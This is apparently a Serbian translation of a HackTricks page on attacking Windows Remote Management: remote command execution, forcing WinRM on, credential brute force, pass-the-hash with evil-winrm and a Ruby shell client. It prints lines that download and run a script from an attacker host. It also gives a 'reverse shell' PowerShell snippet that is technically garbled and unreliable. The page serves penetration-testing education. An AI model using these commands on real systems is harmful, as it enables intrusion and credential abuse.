20 KiB
5985,5986 - Pentesting WinRM
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
Hakerski uvidi
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Hakerske vesti u realnom vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
Najnovije objave
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme
Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!
WinRM
Windows Remote Management (WinRM) je istaknut kao protokol od strane Microsoft-a koji omogućava udaljeno upravljanje Windows sistemima putem HTTP(S), koristeći SOAP u procesu. Osnovno je pokretan od strane WMI-a, predstavljajući se kao HTTP bazirani interfejs za WMI operacije.
Prisustvo WinRM-a na mašini omogućava jednostavno udaljeno upravljanje putem PowerShell-a, slično kao što SSH radi za druge operativne sisteme. Da biste utvrdili da li je WinRM operativan, preporučuje se provera otvaranja određenih portova:
- 5985/tcp (HTTP)
- 5986/tcp (HTTPS)
Otvoren port sa liste iznad ukazuje na to da je WinRM podešen, čime se omogućava pokušaj pokretanja udaljene sesije.
Pokretanje WinRM sesije
Da biste konfigurisali PowerShell za WinRM, koristi se Microsoft-ov Enable-PSRemoting
cmdlet, koji podešava računar da prihvata udaljene PowerShell komande. Sa povišenim pristupom PowerShell-u, mogu se izvršiti sledeće komande kako bi se omogućila ova funkcionalnost i odredio bilo koji host kao pouzdan:
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
Ovaj pristup podrazumeva dodavanje džokera u konfiguraciju trustedhosts
, korak koji zahteva pažljivo razmatranje zbog njegovih implikacija. Takođe se napominje da može biti potrebno promeniti tip mreže sa "Javna" na "Radna" na mašini napadača.
Osim toga, WinRM se može aktivirati daljinski korišćenjem wmic
komande, što je prikazano na sledeći način:
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
Ova metoda omogućava udaljeno podešavanje WinRM-a, poboljšavajući fleksibilnost u upravljanju Windows mašinama iz daljine.
Testiranje konfiguracije
Da biste proverili podešavanje vaše napadačke mašine, koristi se komanda Test-WSMan
kako bi se proverilo da li je ciljna mašina pravilno konfigurisana za WinRM. Izvršavanjem ove komande, trebali biste dobiti detalje o verziji protokola i wsmid, što ukazuje na uspešnu konfiguraciju. U nastavku su primeri koji prikazuju očekivani izlaz za konfigurisanu ciljnu mašinu u odnosu na nekonfigurisanu:
- Za ciljnu mašinu koja je pravilno konfigurisana, izlaz će izgledati slično ovome:
Test-WSMan <target-ip>
Odgovor treba da sadrži informacije o verziji protokola i wsmid, što ukazuje da je WinRM pravilno konfigurisan.
- Nasuprot tome, za cilj koji nije konfigurisan za WinRM, neće biti prikazane takve detaljne informacije, što ukazuje na odsustvo pravilne WinRM konfiguracije.
Izvršavanje komande
Da biste izvršili komandu ipconfig
na daljinu na ciljnom računaru i videli njen izlaz, uradite sledeće:
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
Takođe možete izvršiti komandu iz trenutne PS konzole putem Invoke-Command. Pretpostavimo da lokalno imate funkciju nazvanu enumeration i želite je izvršiti na udaljenom računaru, možete to uraditi:
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
Izvršavanje skripte
Da biste izvršili skriptu na ciljnom sistemu putem WinRM-a, možete koristiti sledeću komandu:
Invoke-Command -ComputerName <ciljni_sistem> -ScriptBlock {<skripta>}
Zamenite <ciljni_sistem>
sa IP adresom ili DNS imenom ciljnog sistema, a <skripta>
sa sadržajem skripte koju želite da izvršite.
Na primer, ako želite da izvršite skriptu koja prikazuje sadržaj direktorijuma "C:\Users", komanda bi izgledala ovako:
Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock {Get-ChildItem C:\Users}
Ova komanda će se povezati sa ciljnim sistemom putem WinRM-a i izvršiti skriptu koja će prikazati sadržaj direktorijuma "C:\Users".
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
Dobijanje obrnutog školjka
Da biste dobili obrnutu školjku na ciljnom sistemu putem WinRM-a, možete koristiti različite metode. Evo nekoliko najčešće korišćenih tehnika:
1. Upotreba Metasploit-a
Metasploit je popularan alat za testiranje penetracije koji može biti koristan za dobijanje obrnutog školjka putem WinRM-a. Možete koristiti modul exploit/windows/winrm/winrm_script_exec
koji omogućava izvršavanje skripti na ciljnom sistemu putem WinRM-a. Ovaj modul vam omogućava da izvršite skriptu koja će uspostaviti obrnutu školjku sa vašim napadačkim sistemom.
2. Korišćenje PowerShell-a
PowerShell je moćan alat koji je ugrađen u Windows operativne sisteme. Možete koristiti PowerShell skriptu koja će uspostaviti obrnutu školjku putem WinRM-a. Evo primera PowerShell skripte koja koristi New-Object
cmdlet za uspostavljanje obrnute školjke:
$session = New-Object System.Management.Automation.Runspaces.WSManConnectionInfo("http://<napadacki_sistem>:<port>/wsman")
$shell = New-Object System.Management.Automation.Runspaces.RunspaceFactory::CreateRunspace($session)
$shell.Open()
$shell.SessionStateProxy.SetVariable("client", $shell)
$shell.SessionStateProxy.InvokeCommand.InvokeScript("iex (New-Object Net.WebClient).DownloadString('http://<napadacki_sistem>:<port>/shell.ps1')")
Zamenite <napadacki_sistem>
sa IP adresom ili DNS imenom vašeg napadačkog sistema, a <port>
sa odgovarajućim portom.
3. Korišćenje drugih alata
Pored Metasploit-a i PowerShell-a, postoje i drugi alati koji mogu biti korisni za dobijanje obrnutog školjka putem WinRM-a. Na primer, alat poput evil-winrm
može vam pomoći da brzo uspostavite obrnutu školjku na ciljnom sistemu. Ovi alati često imaju jednostavno korisničko sučelje i pružaju vam mogućnost da lako uspostavite obrnutu školjku.
Važno je napomenuti da je dobijanje obrnutog školjka na ciljnom sistemu bez odgovarajuće dozvole nezakonito. Ove tehnike treba koristiti samo u okviru zakonskih i etičkih granica, kao deo testiranja penetracije ili za druge legitimne svrhe.
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
Dobijanje PS sesije
Da biste dobili interaktivnu PowerShell sesiju, koristite Enter-PSSession
:
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
Sesija će se pokrenuti u novom procesu (wsmprovhost) unutar "žrtve"
Prisiljavanje otvaranja WinRM-a
Da biste koristili PS Remoting i WinRM, ali računar nije konfigurisan, možete ga omogućiti pomoću:
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
Čuvanje i vraćanje sesija
Ovo neće funkcionisati ako je jezik ograničen na udaljenom računaru.
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
Unutar ovih sesija možete učitati PS skripte koristeći Invoke-Command
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Greške
Ako pronađete sledeću grešku:
enter-pssession : Povezivanje sa udaljenim serverom 10.10.10.175 nije uspelo sa sledećom porukom o grešci: Klijent WinRM ne može obraditi zahtev. Ako je šema autentifikacije drugačija od Kerberosa ili ako računar klijenta nije pridružen domenu, tada se mora koristiti HTTPS transport ili odredišni računar mora biti dodat u postavku konfiguracije TrustedHosts. Koristite winrm.cmd da biste konfigurisali TrustedHosts. Imajte na umu da računari na listi TrustedHosts možda nisu autentifikovani. Više informacija o tome možete dobiti pokretanjem sledeće komande: winrm help config. Za više informacija pogledajte temu pomoći about_Remote_Troubleshooting.
Pokušajte na klijentu (informacije sa ovde):
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
Hakerski uvidi
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Vesti u realnom vremenu o hakovanju
Budite u toku sa brzim svetom hakovanja putem vesti i uvida u realnom vremenu
Najnovije objave
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme
Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!
Povezivanje sa WinRM-om u Linuxu
Brute Force
Budite oprezni, brute force napadi na WinRM mogu blokirati korisnike.
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
Korišćenje evil-winrm
Evil-winrm je alat koji se koristi za napad na Windows Remote Management (WinRM) servis. Ovaj alat omogućava hakeru da se prijavi na udaljeni Windows sistem i izvršava komande kao privilegovani korisnik.
Da biste koristili evil-winrm, prvo morate instalirati Ruby programski jezik i RubyGems. Zatim možete instalirati evil-winrm pomoću sledeće komande:
gem install evil-winrm
Nakon instalacije, možete se povezati na ciljni sistem koristeći sledeću sintaksu:
evil-winrm -i <IP_adresa> -u <korisničko_ime> -p <lozinka>
Ovom komandom se uspostavlja veza sa ciljnim sistemom koristeći IP adresu, korisničko ime i lozinku. Nakon uspešne autentifikacije, možete izvršavati komande na ciljnom sistemu.
Evil-winrm takođe podržava opcije kao što su promena direktorijuma, prenos fajlova, izvršavanje skripti i još mnogo toga. Za više informacija o ovim opcijama, možete pogledati dokumentaciju evil-winrm alata.
Važno je napomenuti da je korišćenje evil-winrm alata ilegalno bez dozvole vlasnika sistema. Ovaj alat se koristi u okviru etičkog hakovanja ili pentestiranja sistema uz dozvolu.
gem install evil-winrm
Pročitajte dokumentaciju na njegovom github-u: https://github.com/Hackplayers/evil-winrm
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
Da biste koristili evil-winrm za povezivanje sa IPv6 adresom, kreirajte unos unutar /etc/hosts postavljajući imenom domena na IPv6 adresu i povežite se sa tim domenom.
Prosledite heš sa evil-winrm-om
evil-winrm -u <username> -H <Hash> -i <IP>
Korišćenje PS-docker mašine
Da biste izvršili napad na WinRM, možete koristiti PS-docker mašinu. PS-docker mašina je Docker kontejner koji sadrži PowerShell i alate za napad na Windows Remote Management (WinRM). Ova tehnika vam omogućava da izvršite napade na WinRM izolovano, bez potrebe za instaliranjem PowerShell-a i alata na vašem lokalnom sistemu.
Da biste koristili PS-docker mašinu, prvo morate instalirati Docker na vašem sistemu. Zatim možete preuzeti PS-docker mašinu sa Docker Hub-a. Nakon preuzimanja, možete pokrenuti PS-docker mašinu kao kontejner.
Kada je PS-docker mašina pokrenuta, možete koristiti PowerShell i alate za napad na WinRM unutar kontejnera. Ovo vam omogućava da izvršite različite napade na WinRM, kao što su brute force napadi, enumeracija korisnika i grupa, izvršavanje komandi na udaljenom sistemu i još mnogo toga.
Kada završite sa napadom, možete jednostavno zaustaviti PS-docker mašinu i izbrisati je. Ovo vam omogućava da održavate čistu i izolovanu okolinu za svaki napad na WinRM.
Korišćenje PS-docker mašine je moćan alat za napad na WinRM, koji vam omogućava da izvršite napade na WinRM na efikasan i siguran način.
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
Korišćenje ruby skripte
Kod izvučen odavde: https://alamot.github.io/winrm_shell/
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
Shodan
port:5985 Microsoft-HTTPAPI
Reference
Automatske komande HackTricks
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
Hakerski uvidi
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Vesti o hakovanju u realnom vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
Najnovije objave
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme
Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju oglašenu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRETPLATU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje trikove hakovanja slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.